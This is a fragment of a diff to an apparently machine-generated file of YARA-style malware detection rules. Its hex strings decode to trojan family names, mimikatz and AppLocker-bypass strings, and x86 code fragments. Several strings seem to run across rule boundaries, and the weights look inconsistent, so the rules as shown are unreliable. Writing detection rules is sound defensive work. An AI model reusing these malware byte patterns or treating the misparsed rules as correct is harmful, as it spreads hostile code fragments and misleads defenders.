07 81 01 48 76 44 65 63 6c 59 01 00 17 81 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 57 01 00 12 81 01 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 57 01 00 0f 81 01 47 65 74 } //4864 + $a_6d_10 = {6e 64 4c 69 6e 65 57 00 00 78 47 01 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 36 39 21 4d 54 42 00 01 00 10 81 01 47 65 74 44 69 72 65 63 74 6f 72 79 4e 61 6d 65 01 00 17 81 01 48 69 64 65 4d 6f 64 75 6c 65 4e 61 6d 65 41 74 74 72 69 62 75 74 65 01 00 06 81 01 54 } //28483 + $a_74_11 = {01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 06 81 01 46 6f 72 6d 61 74 01 00 05 81 01 53 70 6c 69 74 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 43 6f 6e 74 61 69 6e 73 4b 65 79 01 00 14 81 01 47 65 } //17007 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_67_2 & 1)*3840+(#a_6c_3 & 1)*22111+(#a_79_4 & 1)*26988+(#a_37_5 & 1)*12589+(#a_46_6 & 1)*21855+(#a_65_7 & 1)*28005+(#a_63_8 & 1)*13390+(#a_01_9 & 1)*4864+(#a_6d_10 & 1)*28483+(#a_74_11 & 1)*17007) >=12 + +} +rule _InfrastructureShared_19121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0b 00 21 " @@ -216067,7 +230246,7 @@ rule _InfrastructureShared_17962{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*11621+(#a_77_2 & 1)*29817+(#a_69_3 & 1)*29779+(#a_53_4 & 1)*16707+(#a_43_5 & 1)*25927+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_47_8 & 1)*0+(#a_6e_10 & 1)*385) >=13 } -rule _InfrastructureShared_17963{ +rule _InfrastructureShared_19122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -216088,7 +230267,7 @@ rule _InfrastructureShared_17963{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*19248+(#a_64_3 & 1)*22273+(#a_46_4 & 1)*27765+(#a_4d_5 & 1)*25705+(#a_61_6 & 1)*29801+(#a_37_7 & 1)*14381+(#a_5c_8 & 1)*-32730+(#a_6f_9 & 1)*28015+(#a_00_10 & 1)*4098+(#a_00_12 & 1)*57+(#a_00_14 & 1)*111) >=15 } -rule _InfrastructureShared_17964{ +rule _InfrastructureShared_19123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -216109,7 +230288,7 @@ rule _InfrastructureShared_17964{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28500+(#a_6e_3 & 1)*385+(#a_6e_4 & 1)*26996+(#a_6e_5 & 1)*22330+(#a_01_6 & 1)*19851+(#a_7d_7 & 1)*400+(#a_04_8 & 1)*-28431+(#a_55_9 & 1)*-5035+(#a_4d_10 & 1)*-16077+(#a_00_12 & 1)*108+(#a_00_14 & 1)*99) >=15 } -rule _InfrastructureShared_17965{ +rule _InfrastructureShared_19124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -216123,7 +230302,7 @@ rule _InfrastructureShared_17965{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*23653+(#a_f4_2 & 1)*-30463+(#a_be_3 & 1)*-3003+(#a_45_4 & 1)*815) >=1 } -rule _InfrastructureShared_17966{ +rule _InfrastructureShared_19125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -216135,7 +230314,7 @@ rule _InfrastructureShared_17966{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104+(#a_00_4 & 1)*99) >=3 } -rule _InfrastructureShared_17967{ +rule _InfrastructureShared_19126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -216150,7 +230329,7 @@ rule _InfrastructureShared_17967{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*21073+(#a_30_2 & 1)*11267+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_17968{ +rule _InfrastructureShared_19127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -216163,7 +230342,7 @@ rule _InfrastructureShared_17968{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*111+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_17969{ +rule _InfrastructureShared_19128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -216180,7 +230359,7 @@ rule _InfrastructureShared_17969{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*8250+(#a_20_2 & 1)*28261+(#a_74_3 & 1)*28488+(#a_00_4 & 1)*-17921+(#a_64_6 & 1)*25344+(#a_01_7 & 1)*22597+(#a_01_8 & 1)*22597) >=3 } -rule _InfrastructureShared_17970{ +rule _InfrastructureShared_19129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 13 00 21 " @@ -216206,7 +230385,7 @@ rule _InfrastructureShared_17970{ ((#a_6f_0 & 1)*21539+(#a_2e_1 & 1)*29807+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_48_8 & 1)*0+(#a_00_9 & 1)*68+(#a_00_10 & 1)*112+(#a_6e_11 & 1)*27247+(#a_00_13 & 1)*102+(#a_00_14 & 1)*116+(#a_6e_15 & 1)*26433+(#a_00_17 & 1)*71+(#a_67_18 & 1)*14592) >=3 } -rule _InfrastructureShared_17971{ +rule _InfrastructureShared_19130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -216220,7 +230399,7 @@ rule _InfrastructureShared_17971{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26485+(#a_48_2 & 1)*27971+(#a_00_4 & 1)*110+(#a_3c_5 & 1)*14129) >=4 } -rule _InfrastructureShared_17972{ +rule _InfrastructureShared_19131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " @@ -216235,7 +230414,7 @@ rule _InfrastructureShared_17972{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*29556+(#a_00_3 & 1)*110+(#a_48_5 & 1)*0+(#a_00_7 & 1)*107+(#a_00_9 & 1)*71) >=4 } -rule _InfrastructureShared_17973{ +rule _InfrastructureShared_19132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216248,7 +230427,7 @@ rule _InfrastructureShared_17973{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16640+(#a_00_2 & 1)*1+(#a_00_4 & 1)*77) >=5 } -rule _InfrastructureShared_17974{ +rule _InfrastructureShared_19133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216262,7 +230441,7 @@ rule _InfrastructureShared_17974{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*0+(#a_01_2 & 1)*-28632+(#a_6f_3 & 1)*1536+(#a_65_4 & 1)*11891) >=5 } -rule _InfrastructureShared_17975{ +rule _InfrastructureShared_19134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216276,7 +230455,7 @@ rule _InfrastructureShared_17975{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*-22424+(#a_88_2 & 1)*820+(#a_6d_3 & 1)*27393+(#a_00_4 & 1)*105) >=5 } -rule _InfrastructureShared_17976{ +rule _InfrastructureShared_19135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -216290,7 +230469,7 @@ rule _InfrastructureShared_17976{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28769+(#a_00_2 & 1)*32+(#a_00_3 & 1)*105+(#a_65_4 & 1)*269) >=6 } -rule _InfrastructureShared_17977{ +rule _InfrastructureShared_19136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -216307,7 +230486,7 @@ rule _InfrastructureShared_17977{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_50_2 & 1)*30059+(#a_01_3 & 1)*-28561+(#a_00_4 & 1)*14637+(#a_00_5 & 1)*29550+(#a_50_6 & 1)*385+(#a_81_7 & 1)*1) >=7 } -rule _InfrastructureShared_17978{ +rule _InfrastructureShared_19137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -216330,7 +230509,7 @@ rule _InfrastructureShared_17978{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28773+(#a_65_2 & 1)*25167+(#a_01_3 & 1)*30720+(#a_30_4 & 1)*19532+(#a_35_5 & 1)*12373+(#a_01_6 & 1)*3072+(#a_69_7 & 1)*29505+(#a_00_8 & 1)*3841+(#a_0f_9 & 1)*16401+(#a_48_10 & 1)*-30464+(#a_15_11 & 1)*1025+(#a_00_12 & 1)*82+(#a_f7_13 & 1)*-30379) >=14 } -rule _InfrastructureShared_17979{ +rule _InfrastructureShared_19138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -216352,7 +230531,7 @@ rule _InfrastructureShared_17979{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*18500+(#a_01_2 & 1)*13139+(#a_61_3 & 1)*25972+(#a_61_4 & 1)*17921+(#a_0f_5 & 1)*-29876+(#a_00_7 & 1)*18808+(#a_41_9 & 1)*8448+(#a_65_10 & 1)*24941+(#a_04_11 & 1)*-28440+(#a_67_12 & 1)*1220+(#a_6d_13 & 1)*11266+(#a_4d_14 & 1)*8795) >=15 } -rule _InfrastructureShared_17980{ +rule _InfrastructureShared_19139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -216363,7 +230542,7 @@ rule _InfrastructureShared_17980{ ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*-29876) >=2 } -rule _InfrastructureShared_17981{ +rule _InfrastructureShared_19140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -216375,7 +230554,7 @@ rule _InfrastructureShared_17981{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_3 & 1)*108) >=3 } -rule _InfrastructureShared_17982{ +rule _InfrastructureShared_19141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -216389,7 +230568,7 @@ rule _InfrastructureShared_17982{ ((#a_70_0 & 1)*16675+(#a_2c_1 & 1)*27765+(#a_00_2 & 1)*3984+(#a_00_3 & 1)*3984+(#a_00_4 & 1)*144) >=3 } -rule _InfrastructureShared_17983{ +rule _InfrastructureShared_19142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -216401,7 +230580,7 @@ rule _InfrastructureShared_17983{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_41_3 & 1)*11617) >=4 } -rule _InfrastructureShared_17984{ +rule _InfrastructureShared_19143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -216412,7 +230591,7 @@ rule _InfrastructureShared_17984{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70) >=4 } -rule _InfrastructureShared_17985{ +rule _InfrastructureShared_19144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -216425,7 +230604,7 @@ rule _InfrastructureShared_17985{ ((#a_4c_0 & 1)*21539+(#a_bf_1 & 1)*-20037+(#a_09_2 & 1)*11223+(#a_b6_3 & 1)*2354) >=6 } -rule _InfrastructureShared_17986{ +rule _InfrastructureShared_19145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -216441,7 +230620,7 @@ rule _InfrastructureShared_17986{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*22+(#a_00_3 & 1)*111+(#a_2f_4 & 1)*18771+(#a_00_5 & 1)*33+(#a_00_7 & 1)*111+(#a_8c_9 & 1)*769) >=6 } -rule _InfrastructureShared_17987{ +rule _InfrastructureShared_19146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -216455,7 +230634,7 @@ rule _InfrastructureShared_17987{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*33+(#a_00_3 & 1)*111+(#a_8c_5 & 1)*769+(#a_64_6 & 1)*24931) >=7 } -rule _InfrastructureShared_17988{ +rule _InfrastructureShared_19147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -216468,7 +230647,7 @@ rule _InfrastructureShared_17988{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*106+(#a_63_4 & 1)*10752+(#a_00_6 & 1)*111) >=7 } -rule _InfrastructureShared_17989{ +rule _InfrastructureShared_19148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -216485,7 +230664,7 @@ rule _InfrastructureShared_17989{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=7 } -rule _InfrastructureShared_17990{ +rule _InfrastructureShared_19149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -216500,7 +230679,7 @@ rule _InfrastructureShared_17990{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*400+(#a_90_3 & 1)*3082+(#a_63_4 & 1)*12341+(#a_5f_5 & 1)*28268+(#a_32_6 & 1)*26160) >=8 } -rule _InfrastructureShared_17991{ +rule _InfrastructureShared_19150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -216516,7 +230695,7 @@ rule _InfrastructureShared_17991{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*25975+(#a_4e_2 & 1)*27745+(#a_41_4 & 1)*8448+(#a_72_5 & 1)*21249+(#a_00_6 & 1)*95+(#a_76_7 & 1)*25939) >=8 } -rule _InfrastructureShared_17992{ +rule _InfrastructureShared_19151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -216528,12 +230707,12 @@ rule _InfrastructureShared_17992{ $a_01_6 = {50 } //-28614 P $a_2e_7 = {78 65 90 01 01 66 69 6c 65 5f 70 63 61 70 90 00 01 00 11 03 74 63 70 20 70 6f 72 74 90 01 01 32 34 30 34 90 00 01 00 1b 03 46 69 6c 74 65 72 90 01 01 65 78 70 72 65 73 73 69 6f 6e 3a 90 01 01 25 73 90 00 01 00 22 03 70 63 61 70 5f 6f 70 65 6e 5f 6f 66 66 6c 69 6e 65 90 01 01 66 61 69 6c 65 64 3a 90 01 01 25 73 90 00 01 00 1b 03 25 73 } //24931 $a_90_8 = {01 6e 6f 74 90 01 01 61 6e 20 45 74 68 65 72 6e 65 74 90 00 01 00 22 03 43 6f 75 6c 64 6e 27 74 20 70 61 72 73 65 90 01 01 66 69 6c 74 65 72 20 25 73 3a 90 01 01 25 73 90 00 01 00 24 03 43 6f 75 6c 64 6e 27 74 90 01 01 69 6e 73 74 61 6c 6c 20 66 69 6c 74 65 72 90 01 01 25 73 3a 20 25 73 90 00 01 00 0f 03 50 61 63 6b 65 74 90 01 01 23 20 25 69 } //26912 - $a_00_10 = {03 } //19064 + $a_00_10 = {01 } //19064 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114+(#a_61_3 & 1)*28265+(#a_4d_5 & 1)*25939+(#a_01_6 & 1)*-28614+(#a_2e_7 & 1)*24931+(#a_90_8 & 1)*26912+(#a_00_10 & 1)*19064) >=9 } -rule _InfrastructureShared_17993{ +rule _InfrastructureShared_19152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -216541,14 +230720,36 @@ rule _InfrastructureShared_17993{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 65 61 73 75 72 65 4d 61 73 74 65 72 2e 42 21 64 68 61 00 08 00 18 00 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 53 43 41 44 41 5c 70 63 61 70 5c 01 00 1f 01 55 73 61 67 65 3a 90 01 01 50 } //16675 $a_2e_1 = {78 65 90 01 01 66 69 6c 65 5f 70 63 61 70 90 00 01 00 11 03 74 63 70 20 70 6f 72 74 90 01 01 32 34 30 34 90 00 01 00 1b 03 46 69 6c 74 65 72 90 01 01 65 78 70 72 65 73 73 69 6f 6e 3a 90 01 01 25 73 90 00 01 00 22 03 70 63 61 70 5f 6f 70 65 6e 5f 6f 66 66 6c 69 6e 65 90 01 01 66 61 69 6c 65 64 3a 90 01 01 25 73 90 00 01 00 1b 03 25 73 } //24931 $a_90_2 = {01 6e 6f 74 90 01 01 61 6e 20 45 74 68 65 72 6e 65 74 90 00 01 00 22 03 43 6f 75 6c 64 6e 27 74 20 70 61 72 73 65 90 01 01 66 69 6c 74 65 72 20 25 73 3a 90 01 01 25 73 90 00 01 00 24 03 43 6f 75 6c 64 6e 27 74 90 01 01 69 6e 73 74 61 6c 6c 20 66 69 6c 74 65 72 90 01 01 25 73 3a 20 25 73 90 00 01 00 0f 03 50 61 63 6b 65 74 90 01 01 23 20 25 69 } //26912 - $a_00_4 = {03 } //19064 - $a_41_6 = {46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 6b 61 70 70 66 72 65 65 00 01 00 66 03 42 00 69 } //8448 - $a_00_8 = {6e 00 75 00 65 00 20 00 64 00 61 00 6e 00 73 00 20 00 75 00 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 75 00 73 00 20 00 64 00 69 00 73 00 74 00 61 00 6e 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2c 03 6b 61 70 70 66 72 65 } //118 + $a_00_4 = {01 } //19064 + $a_41_6 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 72 75 73 74 79 43 72 61 62 2e 41 21 64 68 61 00 01 00 10 } //8448 + $a_72_7 = {5c 6b 76 73 6f 6c 75 74 69 6f 6e 5c 01 00 13 01 5c 6b 76 63 6f 72 65 5c 6b 76 6e 65 74 77 6f 72 6b 2e 63 01 00 0a 01 6b 76 63 6f 72 65 2e 62 69 6e 01 00 1b 01 4b 56 20 56 50 4e 20 64 6f 65 73 6e 27 74 20 73 75 70 70 6f 72 74 20 74 68 69 73 01 00 0f 01 4b 56 20 56 50 4e 20 72 65 71 75 69 72 65 73 } //23553 + $a_01_8 = {4b 56 20 4b 65 72 6e 65 6c } //1 KV Kernel condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*24931+(#a_90_2 & 1)*26912+(#a_00_4 & 1)*19064+(#a_41_6 & 1)*8448+(#a_00_8 & 1)*118) >=10 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*24931+(#a_90_2 & 1)*26912+(#a_00_4 & 1)*19064+(#a_41_6 & 1)*8448+(#a_72_7 & 1)*23553+(#a_01_8 & 1)*1) >=10 } -rule _InfrastructureShared_17994{ +rule _InfrastructureShared_19153{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 72 75 73 74 79 43 72 61 62 2e 41 21 64 68 61 00 01 00 10 01 5c 63 72 62 5c 6b 76 73 6f 6c 75 74 69 6f 6e 5c 01 00 13 01 5c 6b 76 63 6f 72 65 5c 6b 76 6e 65 74 77 6f 72 6b 2e 63 01 00 0a } //16675 + $a_63_1 = {72 65 2e 62 69 6e 01 00 1b 01 4b 56 20 56 50 4e 20 64 6f 65 73 6e 27 74 20 73 75 70 70 6f 72 74 20 74 68 69 73 01 00 0f 01 4b 56 20 56 50 4e 20 72 65 71 75 69 72 65 73 01 00 09 01 4b 56 20 4b 65 72 6e 65 6c 01 00 19 01 70 6c 65 61 73 65 20 72 65 69 6e 73 74 61 6c 6c 20 4b 56 41 43 43 49 4e 45 01 00 0a 01 00 4b 56 41 43 43 49 4e 45 00 01 00 1b 01 5c 53 } //27393 + $a_77_2 = {72 65 5c 4b 56 54 45 43 48 5c 4b 56 5c 73 65 72 76 69 63 65 01 00 18 01 6b 76 72 65 73 6f 75 72 63 65 2e 64 6c 6c 20 6e 6f 74 20 66 6f 75 6e 64 01 00 12 01 4b 56 20 63 6f 75 6c 64 6e 27 74 20 73 74 61 72 74 2e 01 00 13 01 00 6b 76 63 6c 69 65 6e 74 5f 75 69 68 65 6c 70 65 72 00 01 00 0f 01 64 65 73 6b 74 6f 70 2d 61 6a 74 6b 33 35 6a 00 00 78 4a } //26223 + $a_00_3 = {03 00 03 } //1 + $a_41_4 = {46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 6b 61 70 70 66 72 65 65 00 01 00 66 03 42 00 69 } //8448 + $a_00_6 = {6e 00 75 00 65 00 20 00 64 00 61 00 6e 00 73 00 20 00 75 00 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 75 00 73 00 20 00 64 00 69 00 73 00 74 00 61 00 6e 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2c 03 6b 61 70 70 66 72 65 } //118 + $a_6c_7 = {90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 84 03 6b 00 61 00 70 00 70 00 66 00 72 00 65 00 65 00 20 00 64 00 65 00 20 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 20 00 70 00 6f 00 75 00 72 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 } //11877 + $a_00_8 = {28 00 61 00 6e 00 74 00 69 00 20 00 41 00 70 00 70 00 4c 00 6f 00 63 00 6b 00 65 00 72 00 29 00 } //115 (anti AppLocker) + $a_09_9 = {30 } //11408 0 + $a_2d_10 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 4a 01 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 4e 6f 69 73 79 4e } //14637 + $a_61_11 = {41 21 64 68 61 00 01 00 32 01 2f 00 63 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 7b 00 30 00 7d 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 7b 00 31 00 7d 00 01 00 28 01 48 00 57 00 41 00 44 00 72 00 69 00 76 00 65 00 72 00 55 00 70 00 64 00 61 00 74 00 65 00 43 00 68 00 65 00 63 00 6b 00 01 00 } //28265 + $a_00_12 = {30 00 31 00 36 00 2d 00 31 00 30 00 2d 00 30 00 39 00 54 00 30 00 30 00 3a 00 34 00 32 00 3a 00 30 00 36 00 01 00 1c 01 48 00 57 00 41 00 63 00 63 00 } //294 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27393+(#a_77_2 & 1)*26223+(#a_00_3 & 1)*1+(#a_41_4 & 1)*8448+(#a_00_6 & 1)*118+(#a_6c_7 & 1)*11877+(#a_00_8 & 1)*115+(#a_09_9 & 1)*11408+(#a_2d_10 & 1)*14637+(#a_61_11 & 1)*28265+(#a_00_12 & 1)*294) >=1 + +} +rule _InfrastructureShared_19154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -216559,7 +230760,22 @@ rule _InfrastructureShared_17994{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115) >=3 } -rule _InfrastructureShared_17995{ +rule _InfrastructureShared_19155{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 4e 6f 69 73 79 4e 69 6e 6a 61 2e 41 21 64 68 61 00 01 00 32 01 2f 00 63 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 7b 00 30 00 7d 00 20 00 73 00 63 00 72 00 } //16675 + $a_00_1 = {74 00 3a 00 7b 00 31 00 7d 00 01 00 28 01 48 00 57 00 41 00 44 00 72 00 69 00 76 00 65 00 72 00 55 00 70 00 64 00 61 00 74 00 65 00 43 00 68 00 65 00 63 00 6b 00 01 00 26 01 32 00 30 00 31 00 36 00 2d 00 31 00 30 00 2d 00 30 00 39 00 54 00 30 00 30 00 3a 00 34 00 32 00 3a 00 30 00 36 00 01 00 1c 01 48 00 57 00 41 00 63 00 63 00 65 00 } //105 + $a_00_2 = {7a 00 64 00 2e 00 65 00 78 00 65 00 01 00 16 01 55 00 78 00 54 00 68 00 65 00 6d 00 65 00 2e 00 69 00 6e 00 69 00 01 00 18 01 6f 00 70 00 65 00 72 00 61 00 74 00 6f 00 72 00 2e 00 69 00 6e 00 69 00 02 00 32 01 73 00 75 00 72 00 66 00 61 00 63 00 65 00 2e 00 61 } //108 + $a_00_4 = {6d 00 61 00 67 00 65 00 73 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 00 00 78 4a 01 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 21 4d 54 42 00 02 00 af 02 8b 48 3c 8b 4c 01 78 8b 54 01 18 03 c8 33 f6 89 5d 90 01 01 89 5d 90 01 01 85 d2 74 90 01 01 8b } //104 + $a_f8_5 = {ff 74 90 } //8313 + $a_7d_6 = {1b 00 00 75 90 01 01 8b 17 81 3c 02 90 01 04 75 90 01 01 81 7c 02 04 90 01 04 75 90 01 01 81 7c 02 08 90 01 04 75 90 01 01 8b 51 24 8b 59 1c 8d 14 72 0f b7 14 02 8d 14 93 8b 14 02 8b 5d 90 1b 01 03 d0 89 55 90 1b 00 eb 90 01 01 85 db 75 90 01 01 8b 17 81 3c 10 90 01 04 75 90 01 01 8b 51 24 8b 59 1c 8d 14 72 0f b7 14 02 8d 14 93 8b 1c 02 03 d8 89 5d 90 1b 01 46 83 c7 04 3b 71 18 72 90 00 02 } //257 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*108+(#a_00_4 & 1)*104+(#a_f8_5 & 1)*8313+(#a_7d_6 & 1)*257) >=3 + +} +rule _InfrastructureShared_19156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -216569,7 +230785,7 @@ rule _InfrastructureShared_17995{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_17996{ +rule _InfrastructureShared_19157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -216582,7 +230798,7 @@ rule _InfrastructureShared_17996{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*-7355+(#a_c6_2 & 1)*-1+(#a_01_3 & 1)*-14734) >=4 } -rule _InfrastructureShared_17997{ +rule _InfrastructureShared_19158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -216595,7 +230811,7 @@ rule _InfrastructureShared_17997{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28426+(#a_6e_2 & 1)*17006+(#a_6e_3 & 1)*26433) >=4 } -rule _InfrastructureShared_17998{ +rule _InfrastructureShared_19159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -216608,7 +230824,7 @@ rule 